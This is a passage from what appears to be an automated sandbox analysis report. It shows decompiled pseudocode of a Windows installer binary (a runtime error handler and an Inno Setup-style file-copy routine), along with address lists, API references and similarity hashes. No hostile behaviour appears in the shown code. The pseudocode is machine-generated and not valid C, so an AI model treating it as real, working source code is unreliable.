				signed int _t28;
				void* _t32;
				void* _t33;
				void* _t43;
				void* _t44;

				if(( *(_a4 + 4) & 0x00000006) != 0) {
					__eflags = 0;
					return 0;
				} else {
					__eax = E0040285C(__eax);
					__edx = _a8;
					_push(0);
					_push(__eax);
					_push(0x40303c);
					_push(_a8);
					L004011CC();
					__ebx = _v12;
					__eflags =  *__ebx - 0xeedface;
					__edx =  *(__ebx + 0x14);
					__eax =  *(__ebx + 0x18);
					if( *__ebx == 0xeedface) {
						L38:
						__eax = E00402BE8(__eax, __esi);
						__ecx =  *0x40b000; // 0x405c64
						__eflags = __ecx;
						if(__ecx != 0) {
							__eax =  *__ecx();
						}
						__ecx = _v12;
						__eax = 0xd9;
						__edx =  *(__ecx + 0x14);
						 *__esp =  *(__ecx + 0x14);
						_pop( *0x40b028);
						 *0x40b020 = 0xd9;
						__eflags =  *0x40b030;
						if( *0x40b030 == 0) {
							goto L46;
						} else {
							__eflags =  *0x40b414 - 1;
							if(__eflags < 0) {
								L58:
								ExitProcess( *0x40b020); // executed
							} else {
								if(__eflags == 0) {
									goto L46;
								} else {
									__eax = 0xd9;
									__eflags = 0xd9;
									if(0xd9 != 0) {
										while(1) {
											L46:
											__eax =  *0x40b024; // 0x0
											__eax = __eax;
											__eflags = __eax;
											if(__eax == 0) {
												break;
											}
											__edx = 0;
											 *0x40b024 = 0;
											__eax =  *__eax();
										}
										__eflags =  *0x40b028;
										if( *0x40b028 != 0) {
											__eax =  *0x40b020; // 0x0
											__ebx = "  at 00000000";
											__ecx = 0xa;
											do {
												__edx = 0;
												_t15 = __eax % 0xa;
												__eax = __eax / 0xa;
												__edx = _t15;
												__dl = __dl + 0x30;
												 *__ebx = __dl;
												__ebx = __ebx - 1;
												__eflags = __eax;
											} while (__eax != 0);
											__ebx = 0x40a030;
											__eax =  *0x40b028; // 0x0
											__eax = __eax - 0x401178;
											__eflags = __eax;
											do {
												__edx = __eax;
												__edx = __eax & 0x0000000f;
												__dl =  *((intOrPtr*)(__edx + 0x403ec0));
												 *__ebx =  *((intOrPtr*)(__edx + 0x403ec0));
												__ebx = __ebx - 1;
												__eax = __eax >> 4;
												__eflags = __eax;
											} while (__eax != 0);
											__eflags =  *0x40b031;
											if( *0x40b031 != 0) {
												__eax = 0x40b204;
												__edx = "Runtime error     at 00000000";
												E00404088(0x40b204, "Runtime error     at 00000000") = E0040400B();
											} else {
												__eax = MessageBoxA(0, "Runtime error     at 00000000", "Error", 0);
											}
										}
										0x40b038 = E00403D6C(0x40b038);
										0x40b204 = E00403D6C(0x40b204); // executed
										__eax = E004019DC(); // executed
										__eflags =  *0x40b414;
										if( *0x40b414 == 0) {
											__eax = E004030B4();
											goto L58;
										}
									}
								}
							}
						}
						__eax = E004030B4();
						 *0x40b414 = 0;
						__eax =  *0x40b020; // 0x0
						__eax =  ~__eax;
						asm("sbb eax, eax");
						__eax = __eax + 1;
						__eflags = __eax;
						__esi =  *0x40b40c; // 0x0
						__ebx =  *0x40b408; // 0x0
						__ebp =  *0x40b404; // 0x0
						__esp = __ebp;
						_pop(__ebp);
						return __eax;
					} else {
						__edx =  *0x40b00c; // 0x405b70
						__eflags = __edx;
						if(__edx == 0) {
							L1:
							_t35 = _v12;
							_t21 =  *_v12;
							_t43 = _t21 - 0xc0000092;
							if(_t43 > 0) {
								__eflags = _t21 - 0xc0000096;
								if(__eflags > 0) {
									_t22 = _t21 - 0xc00000fd;
									__eflags = _t22;
									if(_t22 == 0) {
										_t23 = 0xca;
									} else {
										__eflags = _t22 == 0x3d;
										if(_t22 == 0x3d) {
											_t23 = 0xd9;
										} else {
											goto L32;
										}
									}
								} else {
									if(__eflags == 0) {
										_t23 = 0xda;
									} else {
										_t27 = _t21 - 0xc0000093;
										__eflags = _t27;
										if(_t27 == 0) {
											goto L27;
										} else {
											_t28 = _t27 - 1;
											__eflags = _t28;
											if(_t28 == 0) {
												_t23 = 0xc8;
											} else {
												__eflags = _t28 == 1;
												if(_t28 == 1) {
													_t23 = 0xd7;
												} else {
													goto L32;
												}
											}
										}
									}
								}
							} else {
								if(_t43 == 0) {
									L24:
									_t23 = 0xcf;
								} else {
									_t44 = _t21 - 0xc000008e;
									if(_t44 > 0) {
										__eflags = _t21 + 0x3fffff71 - 2;
										if(__eflags < 0) {
											goto L24;
										} else {
											if(__eflags == 0) {
												_t23 = 0xcd;
											} else {
												goto L32;
											}
										}
									} else {
										if(_t44 == 0) {
											_t23 = 0xc8;
										} else {
											_t32 = _t21 - 0xc0000005;
											if(_t32 == 0) {
												_t23 = 0xd8;
											} else {
												_t33 = _t32 - 0x87;
												if(_t33 == 0) {
													_t23 = 0xc9;
												} else {
													if(_t33 == 1) {
														L27:
														_t23 = 0xce;
													} else {
														L32:
														_t23 = 0xd9;
													}
												}
											}
										}
									}
								}
							}
							return E00402F6C(_t23 & 0x000000ff,  *((intOrPtr*)(_t35 + 0xc)));
						} else {
							__eax = __ebx;
							__eax =  *__edx();
							__eflags = __eax;
							if(__eax == 0) {
								goto L1;
							} else {
								__edx =  *(__ebx + 0xc);
								goto L38;
							}
						}
					}
				}
			}

0x00403023
0x00403090
0x00403092
0x00403025
0x00403025
0x0040302a
0x0040302e
0x00403030
0x00403031
0x00403036
0x00403037
0x0040303c
0x00403040
0x00403046
0x00403049
0x0040304c
0x0040306b
0x0040306b
0x00403070
0x00403076
0x00403078
0x0040307a
0x0040307a
0x0040307c
0x00403080
0x00403085
0x00403088
0x00403ee5
0x00403da8
0x00403dad
0x00403db4
0x00000000
0x00403db6
0x00403db6
0x00403dbd
0x00403e83
0x00403e89
0x00403dc3
0x00403dc3
0x00000000
0x00403dc5
0x00403dc5
0x00403dc5
0x00403dc7
0x00403dcd
0x00403dcd
0x00403dcd
0x00403dd2
0x00403dd2
0x00403dd4
0x00000000
0x00000000
0x00403dd6
0x00403dd8
0x00403dde
0x00403dde
0x00403de2
0x00403de9
0x00403deb
0x00403df0
0x00403df5
0x00403dfa
0x00403dfa
0x00403dfc
0x00403dfc
0x00403dfc
0x00403dfe
0x00403e01
0x00403e03
0x00403e04
0x00403e04
0x00403e08
0x00403e0d
0x00403e12
0x00403e12
0x00403e17
0x00403e17
0x00403e19
0x00403e1c
0x00403e22
0x00403e24
0x00403e25
0x00403e25
0x00403e25
0x00403e2a
0x00403e31
0x00403e48
0x00403e4d
0x00403e57
0x00403e33
0x00403e41
0x00403e41
0x00403e31
0x00403e61
0x00403e6b
0x00403e70
0x00403e75
0x00403e7c
0x00403e7e
0x00000000
0x00403e7e
0x00403e7c
0x00403dc7
0x00403dc3
0x00403dbd
0x00403e8e
0x00403e93
0x00403e9a
0x00403e9f
0x00403ea1
0x00403ea3
0x00403ea3
0x00403eaa
0x00403eb0
0x00403eb6
0x00403ebc
0x00403ebc
0x00403ebd
0x0040304e
0x0040304e
0x00403054
0x00403056
0x00402f78
0x00402f7b
0x00402f7e
0x00402f80
0x00402f85
0x00402fb3
0x00402fb8
0x00402fcb
0x00402fcb
0x00402fd0
0x00403001
0x00402fd2
0x00402fd2
0x00402fd5
0x00402ffd
0x00402fd7
0x00000000
0x00402fd7
0x00402fd5
0x00402fba
0x00402fba
0x00402ff9
0x00402fbc
0x00402fbc
0x00402fbc
0x00402fc1
0x00000000
0x00402fc3
0x00402fc3
0x00402fc3
0x00402fc4
0x00402fd9
0x00402fc6
0x00402fc6
0x00402fc7
0x00402fed
0x00402fc9
0x00000000
0x00402fc9
0x00402fc7
0x00402fc4
0x00402fc1
0x00402fba
0x00402f87
0x00402f87
0x00402fe5
0x00402fe5
0x00402f89
0x00402f89
0x00402f8e
0x00402faa
0x00402fad
0x00000000
0x00402faf
0x00402faf
0x00402fe1
0x00402fb1
0x00000000
0x00402fb1
0x00402faf
0x00402f90
0x00402f90
0x00402fe9
0x00402f92
0x00402f92
0x00402f97
0x00402ff5
0x00402f99
0x00402f99
0x00402f9e
0x00402fdd
0x00402fa0
0x00402fa1
0x00402ff1
0x00402ff1
0x00402fa3
0x00403005
0x00403005
0x00403005
0x00402fa1
0x00402f9e
0x00402f97
0x00402f90
0x00402f8e
0x00402f87
0x00403015
0x0040305c
0x0040305c
0x0040305e
0x00403060
0x00403062
0x00000000
0x00403068
0x00403068
0x00000000
0x00403068
0x00403062
0x00403056
0x0040304c

APIs

RtlUnwind.KERNEL32(?,0040303C,00000000,00000000), ref: 00403037

Strings

d\@, xrefs: 00403070
p[@, xrefs: 0040304E

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: Unwind
String ID: d\@$p[@
API String ID: 3419175465-2501423739
Opcode ID: cf052ca5a1dfdc8996027feea02f07a474dc396ed8bdb9d7668b73762b1fe144
Instruction ID: cb865691cce5fd3c7a7f640cb22bbe848836da1b56ac3702cd8c9ca671f9cc7d
Opcode Fuzzy Hash: cf052ca5a1dfdc8996027feea02f07a474dc396ed8bdb9d7668b73762b1fe144
Instruction Fuzzy Hash: C31182352046029BD724DE18CA89B2777B5AB44744F24C13AA404AB3DAC77CDC41A7A9

Uniqueness

Uniqueness Score: -1.00%

Function 004030DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004030DC() {

				E00403094();
				 *0x40b014 = GetModuleHandleA(0);
				 *0x40b01c = GetCommandLineA();
				 *0x40b018 = 0xa;
				return 0x402e34;
			}

0x004030dc
0x004030e8
0x004030f3
0x004030f9
0x00403108

APIs

GetModuleHandleA.KERNEL32(00000000,00409836), ref: 004030E3
GetCommandLineA.KERNEL32(00000000,00409836), ref: 004030EE

Strings

U1hd.@, xrefs: 00403103

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: CommandHandleLineModule
String ID: U1hd.@
API String ID: 2123368496-2904493091
Opcode ID: dc37779357fa3c8f6d3c103c1a1d04ce0330030a2a249e6f734b52dac6989e3b
Instruction ID: fc6106ec3918557feb9e8595d18864a5322139aa66bf0d8c86619f258e517ec6
Opcode Fuzzy Hash: dc37779357fa3c8f6d3c103c1a1d04ce0330030a2a249e6f734b52dac6989e3b
Instruction Fuzzy Hash: 04C002745413408AD76CAFB69E4A70A3994E785309F40883FA218BE3F1DB7C4605ABDD

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: is-2H2P0.tmpPID: 4944, Parent PID: 4080COMMON

Execution Graph

Execution Coverage:	12.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	125

Executed Functions

Function 00468C28 Relevance: 70.9, APIs: 4, Strings: 36, Instructions: 852
timeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00468C28(signed int __eax, void* __ebx, intOrPtr __ecx, char __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, signed int* _a8, signed int _a12, intOrPtr _a16) {
				signed int _v8;
				char _v9;
				intOrPtr _v16;
				char _v17;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				signed int _v36;
				signed int _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v64;
				char _v65;
				signed short _v70;
				signed int _v72;
				signed short _v74;
				signed int _v76;
				signed short _v78;
				signed int _v80;
				signed short _v82;
				signed int _v84;
				char _v85;
				signed int _v86;
				char _v87;
				signed int _v92;
				struct _FILETIME _v100;
				struct _FILETIME _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				void _v132;
				char _v148;
				signed int _v152;
				char _v156;
				char _v160;
				char _v164;
				signed int _v168;
				char _v172;
				signed int _v176;
				char _v180;
				signed int _v184;
				char _v188;
				signed int _v192;
				char _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				char _v212;
				char _v216;
				signed int _t490;
				char _t505;
				signed int _t510;
				intOrPtr _t530;
				intOrPtr _t537;
				signed int _t563;
				signed int _t578;
				signed int _t631;
				signed int _t648;
				signed int _t658;
				signed int _t668;
				signed int _t675;
				signed int _t690;
				signed int _t695;
				signed int _t698;
				signed int _t699;
				void* _t712;
				signed int _t724;
				signed int _t733;
				void* _t746;
				signed int _t751;
				signed int _t752;
				signed int _t753;
				signed int _t757;
				signed int _t767;
				signed int _t781;
				FILETIME* _t802;
				signed int _t804;
				void* _t807;
				intOrPtr _t816;
				intOrPtr _t825;
				void* _t836;
				intOrPtr _t865;
				intOrPtr _t871;
				intOrPtr _t873;
				intOrPtr _t875;
				intOrPtr _t878;
				intOrPtr _t880;
				intOrPtr _t881;
				intOrPtr _t889;
				intOrPtr _t890;
				intOrPtr _t901;
				intOrPtr _t904;
				intOrPtr _t906;
				intOrPtr _t909;
				intOrPtr _t913;
				intOrPtr _t922;
				intOrPtr _t925;
				intOrPtr _t927;
				intOrPtr _t938;
				void* _t945;
				void* _t946;
				intOrPtr _t947;
				char _t965;

				_t943 = __esi;
				_t940 = __edi;
				_t822 = __ecx;
				_t945 = _t946;
				_t947 = _t946 + 0xffffff2c;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v152 = 0;
				_v196 = 0;
				_v32 = 0;
				_v40 = 0;
				_v44 = 0;
				_v48 = 0;
				_v52 = 0;
				_v64 = 0;
				_v16 = __ecx;
				_v9 = __edx;
				_v8 = __eax;
				E00403870(_v16);
				E00403870(_a12);
				_push(_t945);
				_push(0x469cc8);
				_push( *[fs:eax]);
				 *[fs:eax] = _t947;
				E00455B64("-- File entry --", 0, __edi, __esi);
				_v55 = 0;
				_v54 = 0;
				_t820 =  *((intOrPtr*)(_v8 + 0x38));
				if( *((intOrPtr*)(_v8 + 0x38)) == 0xffffffff) {
					__eflags = 0;
					_v36 = 0;
				} else {
					_t816 =  *0x4ae1e4; // 0x2162aec
					_v36 = E0040B504(_t816, _t820);
				}
				E00403548( &_v48);
				_v56 = 0;
				_v17 = 0;
				_v28 =  *0x4adf7c;
				_v24 =  *0x4adf80;
				E00403548( &_v32);
				E00403548( &_v64);
				_push(_t945);
				_push(0x469b8f);
				_push( *[fs:edx]);
				 *[fs:edx] = _t947;
				_push(_t945);
				_push(0x469b46);
				_push( *[fs:edx]);
				 *[fs:edx] = _t947;
				_v58 = 0;
				_v92 = 0;
				if(_v9 != 0) {
					_v92 = _v92 | 0x00000800;
				}
				if(( *(_v8 + 0x4a) & 0x00000010) != 0) {
					_v92 = _v92 | 0x00000010;
				}
				if(( *(_v8 + 0x4a) & 0x00000020) != 0) {
					_v92 = _v92 | 0x00000040;
				}
				if(( *(_v8 + 0x4b) & 0x00000080) != 0) {
					_v92 = _v92 | 0x00000080;
				}
				if(( *(_v8 + 0x4c) & 0x00000010) != 0) {
					_v92 = _v92 | 0x00000100;
				}
				E00403548( &_v52);
				_t490 = _v8;
				_t960 =  *((intOrPtr*)(_t490 + 0x4e)) != 1;
				if( *((intOrPtr*)(_t490 + 0x4e)) != 1) {
					__eflags = _a12;
					if(_a12 != 0) {
						E004035DC( &_v44, _a12);
					} else {
						E00471AF8( *((intOrPtr*)(_v8 + 4)), _t822,  &_v44);
					}
				} else {
					_t938 =  *0x4ae048; // 0x21a5610
					E004035DC( &_v44, _t938);
				}
				E0042C81C(_v44,  &_v152);
				E004035DC( &_v44, _v152);
				E00466E38(_v44, _t820, 1, _t940, _t943, _t960);
				_v160 = _v44;
				_v156 = 0xb;
				_t823 = 0;
				E00455D54("Dest filename: %s", _t820, 0,  &_v160, _t940, _t943);
				_v86 = 0;
				if( *0x4ae247 != 0 &&  *0x4ae258 >= 0x5000000) {
					_t807 = E004535A0(_v9, _t820, _v44, _t940, _t943); // executed
					if(_t807 != 0) {
						E00455B64("Dest file is protected by Windows File Protection.", _t820, _t940, _t943);
						_t80 =  &_v86;
						 *_t80 =  *((char*)(_v8 + 0x4e)) == 0;
						_t965 =  *_t80;
					}
				}
				_t505 = E004518BC(_v9, _v44, _t965); // executed
				_v53 = _t505;
				if(_v55 == 0) {
					_v54 = _v53;
					_v55 = 1;
				}
				if(_v54 != 0) {
					_v92 = _v92 | 0x00000001;
				}
				if(_v36 == 0) {
					_t823 =  &_v100;
					_t821 = E00453494( &_v100, _v16, __eflags);
				} else {
					if(( *(_v36 + 0x44) & 0x00000004) == 0) {
						_t802 = _v36 + 0x34;
						__eflags = _t802;
						LocalFileTimeToFileTime(_t802,  &_v100);
					} else {
						_t804 = _v36;
						_v100.dwLowDateTime =  *(_t804 + 0x34);
						_v100.dwHighDateTime =  *((intOrPtr*)(_t804 + 0x38));
					}
					_t821 = 1;
				}
				if(_t821 == 0) {
					E00455B64("Time stamp of our file: (failed to read)", _t821, _t940, _t943);
				} else {
					E00467170( &_v100,  &_v152);
					_v160 = _v152;
					_v156 = 0xb;
					_t823 = 0;
					E00455D54("Time stamp of our file: %s", _t821, 0,  &_v160, _t940, _t943);
				}
				if(_v53 == 0) {
					_t510 = _v8;
					__eflags =  *(_t510 + 0x4b) & 0x00000020;
					if(( *(_t510 + 0x4b) & 0x00000020) == 0) {
						goto L103;
					} else {
						__eflags = _v54;
						if(_v54 != 0) {
							goto L103;
						} else {
							E00455B64("Skipping due to \"onlyifdestfileexists\" flag.", _t821, _t940, _t943);
							goto L121;
						}
					}
				} else {
					E00455B64("Dest file exists.", _t821, _t940, _t943);
					if(( *(_v8 + 0x4c) & 0x00000001) == 0) {
						_t901 =  *0x48dc50; // 0x2178bfc
						E004035DC( &_v32, _t901);
						_t823 =  &_v108;
						_v85 = E00453494( &_v108, _v44, __eflags);
						__eflags = _v85;
						if(_v85 == 0) {
							E00455B64("Time stamp of existing file: (failed to read)", _t821, _t940, _t943);
						} else {
							E00467170( &_v108,  &_v152);
							_v160 = _v152;
							_v156 = 0xb;
							_t823 = 0;
							E00455D54("Time stamp of existing file: %s", _t821, 0,  &_v160, _t940, _t943);
						}
						_t658 = _v8;
						__eflags =  *(_t658 + 0x4c) & 0x00000002;
						if(( *(_t658 + 0x4c) & 0x00000002) != 0) {
							_v87 = 1;
							goto L74;
						} else {
							_v87 = 0;
							__eflags = _v36;
							if(_v36 == 0) {
								E0042C81C(_v16,  &_v152);
								_v65 = E004516D8(_v9,  &_v76, _v152, __eflags);
							} else {
								_t781 = _v36;
								__eflags =  *(_t781 + 0x44) & 0x00000001;
								_v65 = _t781 & 0xffffff00 | ( *(_t781 + 0x44) & 0x00000001) != 0x00000000;
								_v76 =  *(_v36 + 0x3c);
								_v72 =  *(_v36 + 0x40);
							}
							__eflags = _v65;
							if(_v65 == 0) {
								E00455B64("Version of our file: (none)", _t821, _t940, _t943);
							} else {
								_v192 = _v74 & 0x0000ffff;
								_v188 = 0;
								_v184 = _v76 & 0x0000ffff;
								_v180 = 0;
								_v176 = _v70 & 0x0000ffff;
								_v172 = 0;
								_v168 = _v72 & 0x0000ffff;
								_v164 = 0;
								E00455D54("Version of our file: %u.%u.%u.%u", _t821, 3,  &_v192, _t940, _t943);
							}
							E0042C81C(_v44,  &_v152);
							_t823 =  &_v84;
							_t724 = E004516D8(_v9,  &_v84, _v152, __eflags);
							__eflags = _t724;
							if(_t724 == 0) {
								E00455B64("Version of existing file: (none)", _t821, _t940, _t943);
								__eflags = _v65;
								if(_v65 == 0) {
									_v87 = 1;
								}
								goto L74;
							} else {
								_v192 = _v82 & 0x0000ffff;
								_v188 = 0;
								_v184 = _v84 & 0x0000ffff;
								_v180 = 0;
								_v176 = _v78 & 0x0000ffff;
								_v172 = 0;
								_v168 = _v80 & 0x0000ffff;
								_v164 = 0;
								_t823 = 3;
								E00455D54("Version of existing file: %u.%u.%u.%u", _t821, 3,  &_v192, _t940, _t943);
								__eflags = _v65;
								if(_v65 == 0) {
									L53:
									_t733 = _v8;
									 *(_t733 + 0x4c) & 0x00000004 = (_t733 & 0xffffff00 | ( *(_t733 + 0x4c) & 0x00000004) != 0x00000000) ^ 0x00000001 | _v86;
									if(((_t733 & 0xffffff00 | ( *(_t733 + 0x4c) & 0x00000004) != 0x00000000) ^ 0x00000001 | _v86) != 0) {
										L55:
										E00455B64("Existing file is a newer version. Skipping.", _t821, _t940, _t943);
										goto L121;
									} else {
										E004035DC( &_v152, _v44);
										E004036C4( &_v152, 0x469edc);
										_t922 =  *0x48dc88; // 0x2178f10
										E004036C4( &_v152, _t922);
										_t823 = 2;
										_t746 = E00473ECC(_v152, _t821, 2, 0, _t940, _t943, 6, 1, 4);
										__eflags = _t746 - 7;
										if(_t746 == 7) {
											goto L74;
										} else {
											goto L55;
										}
									}
								} else {
									__eflags = _v84 - _v76;
									if(_v84 > _v76) {
										goto L53;
									} else {
										__eflags = _v84 - _v76;
										if(_v84 != _v76) {
											L56:
											__eflags = _v84 - _v76;
											if(_v84 != _v76) {
												L74:
												__eflags = _v87;
												if(_v87 == 0) {
													L85:
													E00403548( &_v32);
													__eflags = _v86;
													if(_v86 == 0) {
														__eflags =  *(_v8 + 0x4a) & 0x00000001;
														if(__eflags == 0) {
															goto L90;
														} else {
															E004035DC( &_v152, _v44);
															E004036C4( &_v152, 0x469edc);
															_t909 =  *0x48dca0; // 0x2179224
															E004036C4( &_v152, _t909);
															_t823 = 1;
															__eflags = E00473ECC(_v152, _t821, 1, 0, _t940, _t943, 7, 1, 4) - 6;
															if(__eflags == 0) {
																while(1) {
																	L90:
																	_t821 = E004515FC(_v9, _v44, __eflags);
																	__eflags = _t821 - 0xffffffff;
																	if(_t821 == 0xffffffff) {
																		break;
																	}
																	__eflags = _t821 & 0x00000001;
																	if((_t821 & 0x00000001) == 0) {
																		break;
																	} else {
																		__eflags =  *(_v8 + 0x4b) & 0x00000004;
																		if(__eflags != 0) {
																			L95:
																			_t904 =  *0x48dc24; // 0x21789b0
																			E004035DC( &_v32, _t904);
																			_t823 = _t821 & 0xfffffffe;
																			_t668 = E004519A4(_v9, _t821 & 0xfffffffe, _v44, __eflags);
																			__eflags = _t668;
																			if(_t668 == 0) {
																				E00455B64("Failed to strip read-only attribute.", _t821, _t940, _t943);
																			} else {
																				E00455B64("Stripped read-only attribute.", _t821, _t940, _t943);
																			}
																			__eflags =  *(_v8 + 0x4b) & 0x00000004;
																			if(__eflags != 0) {
																				break;
																			} else {
																				continue;
																			}
																		} else {
																			_t906 =  *0x48dc8c; // 0x2178fc0
																			_t675 = E00467080(_v44, _t821, _t823, _t906, _t940, _t943, __eflags);
																			__eflags = _t675;
																			if(_t675 == 0) {
																				goto L95;
																			} else {
																				E00455B64("User opted not to strip the existing file\'s read-only attribute. Skipping.", _t821, _t940, _t943);
																				goto L121;
																			}
																		}
																	}
																	goto L148;
																}
																L103:
																E00455B64("Installing the file.", _t821, _t940, _t943);
																E004035DC( &_v40, _v16);
																__eflags = _v9 -  *0x4ae251; // 0x0
																if(__eflags != 0) {
																	_v57 = 0;
																} else {
																	__eflags = _v40;
																	if(_v40 == 0) {
																		_t823 =  &_v152;
																		_t821 =  *_a8;
																		 *((intOrPtr*)( *_a8 + 0xc))();
																		__eflags = _v152;
																		if(__eflags != 0) {
																			_t823 =  &_v196;
																			_t821 =  *_a8;
																			 *((intOrPtr*)( *_a8 + 0xc))();
																			_t578 = E004518BC(_v9, _v196, __eflags);
																			__eflags = _t578;
																			if(_t578 != 0) {
																				_t823 =  &_v40;
																				_t821 =  *_a8;
																				 *((intOrPtr*)( *_a8 + 0xc))();
																			}
																		}
																	}
																	__eflags = _v40;
																	_v57 = _v40 == 0;
																}
																_t865 =  *0x48dc30; // 0x2178a84
																E004035DC( &_v32, _t865);
																E0042C96C(_v44, _t823,  &_v152);
																E00452190(_v9, _t821, 0x46a248, _v152, _t940, _t943,  &_v48); // executed
																E0042C8BC(_v48, 0x46a248,  &_v152);
																_t825 =  *0x46a250; // 0x0
																E004682DC(_v9, _t821, _t825, _v152, _t940, _t943, __eflags, _a16); // executed
																_t530 = E00451A20(_v9, 1, 0, 1, 0, _v48); // executed
																_v112 = _t530;
																_push(_t945);
																_push(0x469682);
																_push( *[fs:eax]);
																 *[fs:eax] = _t947;
																_v56 = 1;
																_push(_t945);
																_push(0x469612);
																_push( *[fs:eax]);
																 *[fs:eax] = _t947;
																_v17 = 1;
																_t871 =  *0x48dc54; // 0x2178c44
																E004035DC( &_v32, _t871);
																__eflags = _v40;
																if(_v40 != 0) {
																	_t537 = E00451A20(_v9, 1, 1, 0, 2, _v40); // executed
																	_v116 = _t537;
																	_push(_t945);
																	_push(0x469601);
																	_push( *[fs:eax]);
																	 *[fs:eax] = _t947;
																	_t873 =  *0x48dc28; // 0x2178a0c
																	E004035DC( &_v32, _t873);
																	__eflags = _v36;
																	if(_v36 == 0) {
																		E004672B4(_v116, _a4, _v112);
																	} else {
																		_t353 = _v36 + 0x14; // 0x14
																		E004672B4(_v116, _t353, _v112);
																	}
																	__eflags = 0;
																	_pop(_t875);
																	 *[fs:eax] = _t875;
																	_push(0x469608);
																	return E00402CA0(_v116);
																} else {
																	E00466A30(E004663E4(), 0x467074, _v36, _t940); // executed
																	_t878 =  *0x48dc28; // 0x2178a0c
																	E004035DC( &_v32, _t878);
																	__eflags =  *(_v8 + 0x4c) & 0x00000080;
																	E00466C54(E004663E4(), _t821, _v112, _v36, _t940, _t943, (_v8 & 0xffffff00 | __eflags != 0x00000000) ^ 0x00000001, 0x467074); // executed
																	_pop(_t880);
																	_pop(_t836);
																	 *[fs:eax] = _t880;
																	SetFileTime( *(_v112 + 4), 0, 0,  &_v100); // executed
																	_t563 = _v8;
																	__eflags =  *((char*)(_t563 + 0x4e)) - 1;
																	if( *((char*)(_t563 + 0x4e)) == 1) {
																		_v57 = 0;
																		E004687C4(_v112, 0x6e556e49); // executed
																		__eflags =  *0x4adfd1;
																		if( *0x4adfd1 == 0) {
																			E004687F0(_v112, _t836); // executed
																		}
																	}
																	__eflags = 0;
																	_pop(_t881);
																	 *[fs:eax] = _t881;
																	_push(0x469689);
																	return E00402CA0(_v112);
																}
															} else {
																E00455B64("User opted not to overwrite the existing file. Skipping.", _t821, _t940, _t943);
																goto L121;
															}
														}
													} else {
														E00455B64("Existing file is protected by Windows File Protection. Skipping.", _t821, _t940, _t943);
														goto L121;
													}
												} else {
													_t690 = _v8;
													__eflags =  *(_t690 + 0x4a) & 0x00000080;
													if(( *(_t690 + 0x4a) & 0x00000080) == 0) {
														goto L85;
													} else {
														__eflags = _t821;
														if(_t821 == 0) {
															L78:
															E00455B64("Couldn\'t read time stamp. Skipping.", _t821, _t940, _t943);
															goto L121;
														} else {
															__eflags = _v85;
															if(_v85 != 0) {
																_t695 = CompareFileTime( &_v108,  &_v100);
																__eflags = _t695;
																if(_t695 != 0) {
																	_t698 = CompareFileTime( &_v108,  &_v100);
																	__eflags = _t698;
																	if(_t698 <= 0) {
																		goto L85;
																	} else {
																		_t699 = _v8;
																		 *(_t699 + 0x4c) & 0x00000004 = (_t699 & 0xffffff00 | ( *(_t699 + 0x4c) & 0x00000004) != 0x00000000) ^ 0x00000001 | _v86;
																		if(((_t699 & 0xffffff00 | ( *(_t699 + 0x4c) & 0x00000004) != 0x00000000) ^ 0x00000001 | _v86) != 0) {
																			L84:
																			E00455B64("Existing file has a later time stamp. Skipping.", _t821, _t940, _t943);
																			goto L121;
																		} else {
																			E004035DC( &_v152, _v44);
																			E004036C4( &_v152, 0x469edc);
																			_t913 =  *0x48dc88; // 0x2178f10
																			E004036C4( &_v152, _t913);
																			_t823 = 2;
																			_t712 = E00473ECC(_v152, _t821, 2, 0, _t940, _t943, 6, 1, 4);
																			__eflags = _t712 - 7;
																			if(_t712 == 7) {
																				goto L85;
																			} else {
																				goto L84;
																			}
																		}
																	}
																} else {
																	E00455B64("Same time stamp. Skipping.", _t821, _t940, _t943);
																	goto L121;
																}
															} else {
																goto L78;
															}
														}
													}
												}
											} else {
												__eflags = _v80 - _v72;
												if(_v80 != _v72) {
													goto L74;
												} else {
													_t751 = _v8;
													__eflags =  *(_t751 + 0x4b) & 0x00000008;
													if(( *(_t751 + 0x4b) & 0x00000008) != 0) {
														goto L74;
													} else {
														_t752 = _v8;
														__eflags =  *(_t752 + 0x4c) & 0x00000040;
														if(( *(_t752 + 0x4c) & 0x00000040) == 0) {
															_t753 = _v8;
															__eflags =  *(_t753 + 0x4a) & 0x00000080;
															if(( *(_t753 + 0x4a) & 0x00000080) != 0) {
																_v87 = 1;
																goto L74;
															} else {
																E00455B64("Same version. Skipping.", _t821, _t940, _t943);
																goto L121;
															}
														} else {
															_t823 =  &_v148;
															_t757 = E0046725C(_v9,  &_v148, _v44);
															__eflags = _t757;
															if(_t757 == 0) {
																E00455B64("Failed to read existing file\'s MD5 sum. Proceeding.", _t821, _t940, _t943);
																goto L74;
															} else {
																__eflags = _v36;
																if(_v36 == 0) {
																	_t925 =  *0x48dc54; // 0x2178c44
																	E004035DC( &_v32, _t925);
																	_t823 =  &_v132;
